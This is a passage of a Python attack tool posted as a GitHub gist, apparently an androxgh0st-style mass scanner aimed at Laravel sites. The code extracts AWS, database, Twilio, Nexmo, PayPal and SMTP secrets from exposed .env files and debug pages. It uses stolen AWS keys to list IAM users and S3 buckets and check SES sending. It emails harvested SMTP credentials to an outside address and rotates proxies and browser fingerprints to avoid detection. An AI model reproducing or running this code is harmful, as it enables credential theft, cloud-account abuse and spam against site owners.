Skip to content

Instantly share code, notes, and snippets.

@kellieboyle666

kellieboyle666/gist:2647a077595d8917049d7763eccba967

Created July 12, 2025 02:26
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save kellieboyle666/2647a077595d8917049d7763eccba967 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save kellieboyle666/2647a077595d8917049d7763eccba967 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
gistfile1.txt
######BRUTAL LARAVEL
###### Mass Framework Misconfiguration
####### No credits No trace
import os, sys
from re import findall as reg
from threading import *
from threading import Thread
from configparser import ConfigParser
from queue import Queue
from colorama import Fore, Style # Import Style untuk reset warna
from colorama import init
from time import time as timer
import time, datetime
from multiprocessing.dummy import Pool
import smtplib, json, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import io
from multiprocessing.dummy import Pool
import warnings, random, socket, threading
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from socket import gaierror
import boto3
from botocore.exceptions import ClientError
import base64 # Import base64 di sini karena digunakan oleh exploit_cve_2021_3129
# Import untuk fitur baru
import curl_cffi.requests as cffi_requests # Menggunakan curl_cffi sebagai pengganti requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager # Untuk mengelola driver Chrome
import cloudscraper # Import cloudscraper untuk fallback
# Inisialisasi colorama
init(autoreset=True)
# Global locks for file writing to prevent race conditions
file_locks = {
's3_buckets.txt': threading.Lock(),
'aws_exploited.txt': threading.Lock(),
'paypal_sandbox.txt': threading.Lock(),
'aws_access_key_secret.txt': threading.Lock(),
'aws_sns_key_secret.txt': threading.Lock(),
'database.txt': threading.Lock(),
'TWILLIO.txt': threading.Lock(),
'NEXMO.txt': threading.Lock(),
'EXOTEL.txt': threading.Lock(),
'ONESIGNAL.txt': threading.Lock(),
'TOKBOX.txt': threading.Lock(),
'PLIVO.txt': threading.Lock(),
'sendgrid.txt': threading.Lock(),
'office.txt': threading.Lock(),
'1and1.txt': threading.Lock(),
'zoho.txt': threading.Lock(),
'mandrill.txt': threading.Lock(),
'mailgun.txt': threading.Lock(),
'SMTP_RANDOM.txt': threading.Lock(),
'cve_2021_3129_exploited.txt': threading.Lock(),
'mix_manifest_found.txt': threading.Lock(),
'fingerprint.txt': threading.Lock(),
'sensitive_found.txt': threading.Lock(),
'not_vulnerable.txt': threading.Lock(),
'error_log.txt': threading.Lock(), # New lock for error log
'aws_region_files': threading.Lock(), # Generic lock for dynamic region files
'smtp_aws.txt': threading.Lock(), # Lock for smtp_aws.txt
}
# Global lock for Selenium to prevent multiple browser instances from conflicting
selenium_lock = threading.Lock()
def write_to_file_safe(filename, content):
"""Writes content to a file using a lock to prevent race conditions."""
# Determine which lock to use
if filename.startswith('Results/'):
base_filename = filename[len('Results/'):]
else:
base_filename = filename # Assume it's already base name if not starting with Results/
# Special handling for region-specific AWS files and other dynamic files
if base_filename.endswith('.txt') and base_filename not in file_locks:
# If it's a new region file or other dynamic file, use the generic lock
lock_to_use = file_locks['aws_region_files']
elif base_filename in file_locks:
lock_to_use = file_locks[base_filename]
else:
# Fallback for any other unexpected file names, though all should be covered
lock_to_use = threading.Lock()
# print(f"\033[33;1m[!] Warning: No specific lock for {base_filename}. Using generic lock.\033[0m")
with lock_to_use:
try:
with open(filename, 'a') as f:
f.write(content)
except Exception as e:
# Log error if writing to file fails
with file_locks['error_log.txt']:
with open('Results/error_log.txt', 'a') as err_f:
err_f.write(f"[{datetime.datetime.now()}] Error writing to {filename}: {e}\nContent: {content[:100]}...\n")
# --- START OPTIMIZATION: PROXY HANDLING & USER-AGENT ROTATION ---
# List of common User-Agents for rotation
USER_AGENTS = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/126.0',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (Android 14; Mobile; rv:126.0) Gecko/126.0 Firefox/126.0',
'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; AS; rv:11.0) like Gecko',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)',
]
# JA3 Impersonation strings for curl_cffi
# These strings correspond to specific browser TLS fingerprints
JA3_IMPERSONATIONS = [
"chrome100", "chrome99", "chrome96", "chrome90",
"firefox99", "firefox95", "firefox90",
"safari15_3", "safari15_5",
"edge99", "edge96",
"opera85", "opera84",
"android12", "android11",
"ios15_5", "ios15_4",
"okhttp/3.9.1", "okja3", # Common mobile/app clients
"random" # curl_cffi's random impersonation
]
class ProxyManager:
def __init__(self, proxy_input):
self.proxies = []
self.load_proxies(proxy_input)
self.proxy_index = 0
self.lock = threading.Lock() # Untuk thread-safe access ke proxy_index
# OPTIMIZATION: Track proxy failures and cooldowns
self.proxy_failures = {p['http']: 0 for p in self.proxies}
self.proxy_cooldown = {p['http']: 0 for p in self.proxies}
def load_proxies(self, proxy_input):
if not proxy_input:
return
if os.path.exists(proxy_input):
try:
with open(proxy_input, 'r') as f:
for line in f:
proxy = line.strip()
if proxy:
if '://' not in proxy:
proxy = 'http://' + proxy
self.proxies.append({'http': proxy, 'https': proxy})
if not self.proxies:
print(f"{Fore.RED}[!] No proxies loaded from the file.{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[!] Error loading proxies from file '{proxy_input}': {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error loading proxies from file '{proxy_input}': {e}\n")
else:
proxy = proxy_input.strip()
if proxy:
if '://' not in proxy:
proxy = 'http://' + proxy
self.proxies.append({'http': proxy, 'https': proxy})
else:
print(f"{Fore.RED}[!] Invalid proxy input.{Style.RESET_ALL}")
def get_next_proxy(self):
with self.lock:
if not self.proxies:
return None
# OPTIMIZATION: Iterate through proxies to find one not on cooldown
for _ in range(len(self.proxies)):
proxy_entry = self.proxies[self.proxy_index]
proxy_url = proxy_entry['http']
self.proxy_index = (self.proxy_index + 1) % len(self.proxies)
if time.time() > self.proxy_cooldown[proxy_url]:
return proxy_entry
return None # All proxies are currently on cooldown
# OPTIMIZATION: Mark proxy as failed and apply exponential backoff
def mark_proxy_failed(self, proxy_url, reason="unknown"):
with self.lock:
if proxy_url in self.proxy_failures:
self.proxy_failures[proxy_url] += 1
# Exponential backoff: 2^failures seconds, capped at 10 minutes (600s)
cooldown_time = min(600, 2 ** self.proxy_failures[proxy_url])
self.proxy_cooldown[proxy_url] = time.time() + cooldown_time
printf(f"{Fore.YELLOW}[!] Proxy {proxy_url} failed ({reason}). Cooldown for {cooldown_time:.0f}s.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Proxy failed: {proxy_url} ({reason}). Cooldown for {cooldown_time:.0f}s.\n")
else:
printf(f"{Fore.RED}[!] Attempted to mark unknown proxy {proxy_url} as failed.{Style.RESET_ALL}")
# --- END OPTIMIZATION: PROXY HANDLING & USER-AGENT ROTATION ---
def exploit_aws(aws_key, aws_secret, url=None):
regions = ["us-east-1", "us-west-2", "eu-west-1"] # Common regions
exploited = []
printf(f"{Fore.CYAN}[*] AWS Exploit: Attempting IAM User List for {url}{Style.RESET_ALL}")
try:
iam = boto3.client('iam', aws_access_key_id=aws_key, aws_secret_access_key=aws_secret)
users = iam.list_users()
if 'Users' in users:
exploited.append("IAM-User-List")
printf(f"{Fore.GREEN}[+] AWS Exploit: IAM User List successful for {url}{Style.RESET_ALL}")
except ClientError as e:
printf(f"{Fore.YELLOW}[!] AWS Exploit: IAM User List failed for {url} ({e.response.get('Error', {}).get('Code', 'UnknownError')}){Style.RESET_ALL}")
pass
except Exception as e:
printf(f"{Fore.YELLOW}[!] AWS Exploit: IAM User List unexpected error for {url} ({e}){Style.RESET_ALL}")
pass
printf(f"{Fore.CYAN}[*] AWS Exploit: Attempting SES Send Email for {url}{Style.RESET_ALL}")
ses_active_found = False
for region in regions:
try:
ses = boto3.client('ses', region_name=region,
aws_access_key_id=aws_key, aws_secret_access_key=aws_secret)
test = ses.get_send_quota()
if "Max24HourSend" in str(test):
exploited.append(f"SES-Active ({region})")
printf(f"{Fore.GREEN}[+] AWS Exploit: SES Active in {region} for {url}{Style.RESET_ALL}")
ses_active_found = True
break # Found an active SES region, no need to check others
except ClientError as e:
# printf(f"{Fore.YELLOW}[!] AWS Exploit: SES failed in {region} for {url} ({e.response.get('Error', {}).get('Code', 'UnknownError')}){Style.RESET_ALL}")
continue
except Exception as e:
# printf(f"{Fore.YELLOW}[!] AWS Exploit: SES unexpected error in {region} for {url} ({e}){Style.RESET_ALL}")
continue
if not ses_active_found:
printf(f"{Fore.YELLOW}[!] AWS Exploit: SES not active in tested regions for {url}{Style.RESET_ALL}")
printf(f"{Fore.CYAN}[*] AWS Exploit: Attempting S3 Bucket Enumeration for {url}{Style.RESET_ALL}")
try:
s3 = boto3.client('s3', aws_access_key_id=aws_key, aws_secret_access_key=aws_secret)
buckets = s3.list_buckets()
if 'Buckets' in buckets:
bucket_names = [b['Name'] for b in buckets['Buckets']]
if bucket_names:
exploited.append(f"S3-Buckets: {len(bucket_names)} found")
printf(f"{Fore.GREEN}[+] AWS Exploit: Found {len(bucket_names)} S3 bucket(s) for {url}{Style.RESET_ALL}")
s3_log_content = ""
if url:
s3_log_content += f"[{aws_key}] @ {url}\n"
else:
s3_log_content += f"[{aws_key}]\n"
for name in bucket_names:
printf(f" └─ {name}")
s3_log_content += f"{name}\n"
s3_log_content += "\n"
write_to_file_safe('Results/s3_buckets.txt', s3_log_content)
else:
printf(f"{Fore.YELLOW}[!] AWS Exploit: No S3 buckets found for {url}{Style.RESET_ALL}")
except ClientError as e:
printf(f"{Fore.YELLOW}[!] AWS Exploit: S3 Bucket Enumeration failed for {url} ({e.response.get('Error', {}).get('Code', 'UnknownError')}){Style.RESET_ALL}")
pass
except Exception as e:
printf(f"{Fore.YELLOW}[!] AWS Exploit: S3 Bucket Enumeration unexpected error for {url} ({e}){Style.RESET_ALL}")
pass
return exploited
try:
os.mkdir('Results')
except FileExistsError:
pass # Directory already exists
except Exception as e:
print(f"{Fore.RED}[!] Error creating Results directory: {e}{Style.RESET_ALL}")
# No safe write here as directory might not exist
list_region = '''us-east-1
us-east-2
us-west-1
us-west-2
af-south-1
ap-east-1
ap-south-1
ap-northeast-1
ap-northeast-2
ap-northeast-3
ap-southeast-1
ap-southeast-2
ca-central-1
eu-central-1
eu-west-1
eu-west-2
eu-west-3
eu-south-1
eu-north-1
me-south-1
sa-east-1'''
pid_restore = '.nero_swallowtail'
def sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom):
printf(f"{Fore.CYAN}[*] SMTP Test: Attempting to send test email from {mailhost} for {url}{Style.RESET_ALL}")
# Ensure port is an integer
try:
port = int(mailport)
except ValueError:
printf(f"{Fore.RED}[!] SMTP Test: Invalid port '{mailport}' for {url}. Skipping test.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Invalid SMTP port '{mailport}' for {url}. Skipping test.\n")
return
# Adjust port if 465 is given (often means SSL/TLS on 587 is expected)
if port == 465:
port = 587 # Common practice for STARTTLS on 587
smtp_server = str(mailhost)
sender_email = mailuser if not mailfrom else str(mailfrom.replace('"', ''))
login = str(mailuser.replace('"', ''))
password = str(mailpass.replace('"', ''))
receiver_email = "kellie_boyle@yahoo.co.uk" # Fixed test email
message = MIMEMultipart('alternative')
message['Subject'] = f'SMTP LOG | HOST: {mailhost}'
message['From'] = sender_email
message['To'] = receiver_email
text_plain = ' '
html_content = f" <html>\n <body>\n <p>Send,<br>\n BY itslucifero</p>\n <p>-------------------</p>\n <p>URL : {url}</p>\n <p>HOST : {mailhost}</p>\n <p>PORT : {mailport}</p>\n <p>USER : {mailuser}</p>\n <p>PASSW : {mailpass}</p>\n <p>SENDER : {mailfrom}</p>\n <p>-------------------</p>\n </body>\n </html>\n "
part1 = MIMEText(text_plain, 'plain')
part2 = MIMEText(html_content, 'html')
message.attach(part1)
message.attach(part2)
try:
s = smtplib.SMTP(smtp_server, port, timeout=10) # OPTIMIZATION: Add timeout to SMTP connection
s.connect(smtp_server, port)
s.ehlo()
s.starttls()
s.ehlo()
s.login(login, password)
s.sendmail(sender_email, receiver_email, message.as_string())
s.quit() # OPTIMIZATION: Ensure connection is closed
printf(f"{Fore.GREEN}[+] SMTP Test: Test email sent successfully from {mailhost} for {url}{Style.RESET_ALL}")
except smtplib.SMTPAuthenticationError:
printf(f"{Fore.RED}[!] SMTP Test: Authentication failed for {mailhost} for {url}. Invalid credentials.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] SMTP Auth Failed: {mailhost} ({url}) - User: {mailuser}, Pass: {mailpass}\n")
except smtplib.SMTPConnectError as e:
printf(f"{Fore.RED}[!] SMTP Test: Connection error to {mailhost}:{port} for {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] SMTP Connect Error: {mailhost}:{port} ({url}) - {e}\n")
except smtplib.SMTPServerDisconnected as e:
printf(f"{Fore.RED}[!] SMTP Test: Server disconnected unexpectedly from {mailhost} for {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] SMTP Disconnected: {mailhost} ({url}) - {e}\n")
except smtplib.SMTPException as e:
printf(f"{Fore.RED}[!] SMTP Test: SMTP error for {mailhost} for {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] SMTP Error: {mailhost} ({url}) - {e}\n")
except socket.timeout:
printf(f"{Fore.RED}[!] SMTP Test: Socket timeout for {mailhost} for {url}.{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] SMTP Socket Timeout: {mailhost} ({url})\n")
except Exception as e:
printf(f"{Fore.RED}[!] SMTP Test: Failed to send test email from {mailhost} for {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error sending test email from {mailhost} ({url}): {e}\n")
class Worker(Thread):
def __init__(self, tasks):
Thread.__init__(self)
self.tasks = tasks
self.daemon = True
self.start()
def run(self):
while True:
func, args, kargs = self.tasks.get()
try: func(*args, **kargs)
except Exception as e:
printf(f"{Fore.RED}[!] Error in worker thread: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error in worker thread: {e}\nFunction: {func.__name__}, Args: {args}\n")
self.tasks.task_done()
class ThreadPool:
def __init__(self, num_threads):
self.tasks = Queue(num_threads)
for _ in range(num_threads): Worker(self.tasks)
def add_task(self, func, *args, **kargs):
self.tasks.put((func, args, kargs))
def wait_completion(self):
self.tasks.join()
class androxgh0st:
def paypal(self, text, url):
if "PAYPAL_" in text:
content = url+'\n'
write_to_file_safe('Results/paypal_sandbox.txt', content)
printf(f"{Fore.GREEN}[+] PayPal: Sandbox credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
def get_aws_region(self, text):
for region in list_region.splitlines():
if str(region) in text:
return region
return None
def get_aws_data(self, text, url):
aws_key = ''
aws_sec = ''
aws_reg = ''
aws_buc = ''
method = ''
found_aws_data = False
# Prioritize AWS_ACCESS_KEY_ID
if "AWS_ACCESS_KEY_ID" in text:
found_aws_data = True
if "AWS_ACCESS_KEY_ID=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nAWS_SECRET_ACCESS_KEY=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>AWS_ACCESS_KEY_ID</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>AWS_ACCESS_KEY_ID<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r"<td>AWS_SECRET_ACCESS_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
# Then AWS_KEY (alternative naming)
elif "AWS_KEY" in text:
found_aws_data = True
if "AWS_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_KEY=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nAWS_SECRET=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_buc = reg("\nAWS_BUCKET=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>AWS_KEY</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>AWS_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r"<td>AWS_SECRET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_buc = reg(r"<td>AWS_BUCKET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
# Then AWS_SNS_KEY
elif "AWS_SNS_KEY" in text:
found_aws_data = True
sms_from = ''
sms_driver = ''
if "AWS_SNS_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_SNS_KEY=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nAWS_SNS_SECRET=(.*?)\n", text)[0]
except IndexError: pass
try:
sms_from = reg("\nSMS_FROM=(.*?)\n", text)[0]
except IndexError: pass
try:
sms_driver = reg("\nSMS_DRIVER=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>AWS_SNS_KEY</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>AWS_SNS_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r'<td>AWS_SNS_SECRET</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
sms_from = reg(r'<td>SMS_FROM=</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
sms_driver = reg(r'<td>SMS_DRIVER</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
if aws_key or aws_sec:
build = f'URL: {url}\nMETHOD: {method}\nAWS SNS KEY: {aws_key}\nAWS SNS SECRET: {aws_sec}\nAWS REGION: {aws_reg}\nAWS BUCKET: \nSMS FROM: {sms_from}\nSMS DRIVER: {sms_driver}'
remover = build.replace('\r', '')
write_to_file_safe(f'Results/{aws_reg[:-2]}.txt', remover+'\n\n')
write_to_file_safe('Results/aws_sns_key_secret.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] AWS: SNS credentials found for {url}{Style.RESET_ALL}")
return True
# Then AWS_S3_KEY
elif "AWS_S3_KEY" in text:
found_aws_data = True
if "AWS_S3_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_S3_KEY=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nAWS_S3_SECRET=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>AWS_S3_KEY</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>AWS_S3_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r"<td>AWS_S3_SECRET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
# Then AWS_SES_KEY
elif "AWS_SES_KEY" in text:
found_aws_data = True
if "AWS_SES_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nAWS_SES_KEY=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nAWS_SES_SECRET=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>AWS_SES_KEY</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>AWS_SES_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r"<td>AWS_SES_SECRET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
# Then SES_KEY (alternative naming)
elif "SES_KEY" in text:
found_aws_data = True
if "SES_KEY=" in text:
method = '/.env'
try:
aws_key = reg("\nSES_KEY=(.*?)\n", text)[0]
except IndexError: pass
try:
aws_sec = reg("\nSES_SECRET=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>SES_KEY</td>" in text:
method = 'debug'
try:
aws_key = reg(r"<td>SES_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
try:
aws_sec = reg(r"<td>SES_SECRET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError: pass
asu = self.get_aws_region(text)
if asu:
aws_reg = asu
else:
aws_reg = "aws_unknown_region--"
if found_aws_data:
if aws_key == "" and aws_sec == "":
printf(f"{Fore.YELLOW}[!] AWS: Keywords found but no key/secret extracted for {url}{Style.RESET_ALL}")
return False
else:
build = f'URL: {url}\nMETHOD: {method}\nAWS ACCESS KEY: {aws_key}\nAWS SECRET KEY: {aws_sec}\nAWS REGION: {aws_reg}\nAWS BUCKET: {aws_buc}'
remover = build.replace('\r', '')
write_to_file_safe(f'Results/{aws_reg[:-2]}.txt', remover+'\n\n')
write_to_file_safe('Results/aws_access_key_secret.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] AWS: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
def get_database(self, text, url):
try:
if "DB_CONNECTION" in text or "DB_HOST" in text: # Broader check for DB
db_c = ''
db_h = ''
db_d = ''
db_u = ''
db_p = ''
method = ''
if "DB_CONNECTION=" in text:
method = '/.env'
try:
db_c = reg('\nDB_CONNECTION=(.*?)\n', text)[0]
except IndexError: pass
try:
db_h = reg('\nDB_HOST=(.*?)\n', text)[0]
except IndexError: pass
try:
db_d = reg('\nDB_DATABASE=(.*?)\n', text)[0]
except IndexError: pass
try:
db_u = reg('\nDB_USERNAME=(.*?)\n', text)[0]
except IndexError: pass
try:
db_p = reg('\nDB_PASSWORD=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>DB_CONNECTION</td>' in text:
method = 'debug'
try:
db_c = reg(r'<td>DB_CONNECTION</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
db_h = reg(r'<td>DB_HOST</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
db_d = reg(r'<td>DB_DATABASE</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
db_u = reg(r'<td>DB_USERNAME</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
db_p = reg(r'<td>DB_PASSWORD</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if db_c or db_h or db_d or db_u or db_p:
build = f'URL: {url}\nMETHOD: {method}\nDB_CONNECTION: {db_c}\nDB_HOST: {db_h}\nDB_DATABASE: {db_d}\nDB_USERNAME: {db_u}\nDB_PASSWORD: {db_p}'
remover = build.replace('\r', '')
write_to_file_safe('Results/database.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Database: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
else:
return False
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error in get_database for {url}: {e}\n")
return False
def get_twillio(self, text, url):
try:
if "TWILIO" in text:
acc_sid = ''
acc_key = ''
sec = ''
chatid = ''
phone = ''
auhtoken = ''
method = ''
if "TWILIO_ACCOUNT_SID=" in text:
method = '/.env'
try:
acc_sid = reg('\nTWILIO_ACCOUNT_SID=(.*?)\n', text)[0]
except IndexError: pass
try:
acc_key = reg('\nTWILIO_API_KEY=(.*?)\n', text)[0]
except IndexError: pass
try:
sec = reg('\nTWILIO_API_SECRET=(.*?)\n', text)[0]
except IndexError: pass
try:
chatid = reg('\nTWILIO_CHAT_SERVICE_SID=(.*?)\n', text)[0]
except IndexError: pass
try:
phone = reg('\nTWILIO_NUMBER=(.*?)\n', text)[0]
except IndexError: pass
try:
auhtoken = reg('\nTWILIO_AUTH_TOKEN=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>TWILIO_ACCOUNT_SID</td>' in text:
method = 'debug'
try:
acc_sid = reg(r'<td>TWILIO_ACCOUNT_SID</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
acc_key = reg(r'<td>TWILIO_API_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
sec = reg(r'<td>TWILIO_API_SECRET</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
chatid = reg(r'<td>TWILIO_CHAT_SERVICE_SID</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
phone = reg(r'<td>TWILIO_NUMBER</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
auhtoken = reg(r'<td>TWILIO_AUTH_TOKEN</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if acc_sid or acc_key or sec or chatid or phone or auhtoken:
build = f'URL: {url}\nMETHOD: {method}\nTWILIO_ACCOUNT_SID: {acc_sid}\nTWILIO_API_KEY: {acc_key}\nTWILIO_API_SECRET: {sec}\nTWILIO_CHAT_SERVICE_SID: {chatid}\nTWILIO_NUMBER: {phone}\nTWILIO_AUTH_TOKEN: {auhtoken}'
remover = build.replace('\r', '')
write_to_file_safe('Results/TWILLIO.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Twilio: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
else:
return False
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error in get_twillio for {url}: {e}\n")
return False
def get_nexmo(self, text, url):
try:
# NEXMO
if "NEXMO" in text:
nexmo_key = ''
nexmo_secret = ''
phone = ''
method = ''
if "NEXMO_KEY=" in text:
method = '/.env'
try:
nexmo_key = reg('\nNEXMO_KEY=(.*?)\n', text)[0]
except IndexError: pass
try:
nexmo_secret = reg('\nNEXMO_SECRET=(.*?)\n', text)[0]
except IndexError: pass
try:
phone = reg('\nNEXMO_NUMBER=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>NEXMO_KEY</td>' in text:
method = 'debug'
try:
nexmo_key = reg(r'<td>NEXMO_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
nexmo_secret = reg(r'<td>NEXMO_SECRET</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
phone = reg(r'<td>EXMO_NUMBER</td>\s+<td><pre.*>(.*?)</span>', text)[0] # Typo in original: EXMO_NUMBER
except IndexError: pass
if nexmo_key or nexmo_secret or phone:
build = f'URL: {url}\nMETHOD: {method}\nNEXMO_KEY: {nexmo_key}\nNEXMO_SECRET: {nexmo_secret}\nNEXMO_NUMBER: {phone}'
remover = build.replace('\r', '')
write_to_file_safe('Results/NEXMO.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Nexmo: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
# EXOTEL
elif "EXOTEL_API_KEY" in text:
exotel_api = ''
exotel_token = ''
exotel_sid = ''
method = ''
if "EXOTEL_API_KEY=" in text:
method = '/.env'
try:
exotel_api = reg('\nEXOTEL_API_KEY=(.*?)\n', text)[0]
except IndexError: pass
try:
exotel_token = reg('\nEXOTEL_API_TOKEN=(.*?)\n', text)[0]
except IndexError: pass
try:
exotel_sid = reg('\nEXOTEL_API_SID=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>EXOTEL_API_KEY</td>' in text:
method = 'debug'
try:
exotel_api = reg(r'<td>EXOTEL_API_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
exotel_token = reg(r'<td>EXOTEL_API_TOKEN</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
exotel_sid = reg(r'<td>EXOTEL_API_SID</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if exotel_api or exotel_token or exotel_sid:
build = f'URL: {url}\nMETHOD: {method}\nEXOTEL_API_KEY: {exotel_api}\nEXOTEL_API_TOKEN: {exotel_token}\nEXOTEL_API_SID: {exotel_sid}'
remover = build.replace('\r', '')
write_to_file_safe('Results/EXOTEL.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Exotel: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
# ONESIGNAL
elif "ONESIGNAL_APP_ID" in text:
onesignal_id = ''
onesignal_token = ''
onesignal_auth = ''
method = ''
if "ONESIGNAL_APP_ID=" in text:
method = '/.env'
try:
onesignal_id = reg('\nONESIGNAL_APP_ID=(.*?)\n', text)[0]
except IndexError: pass
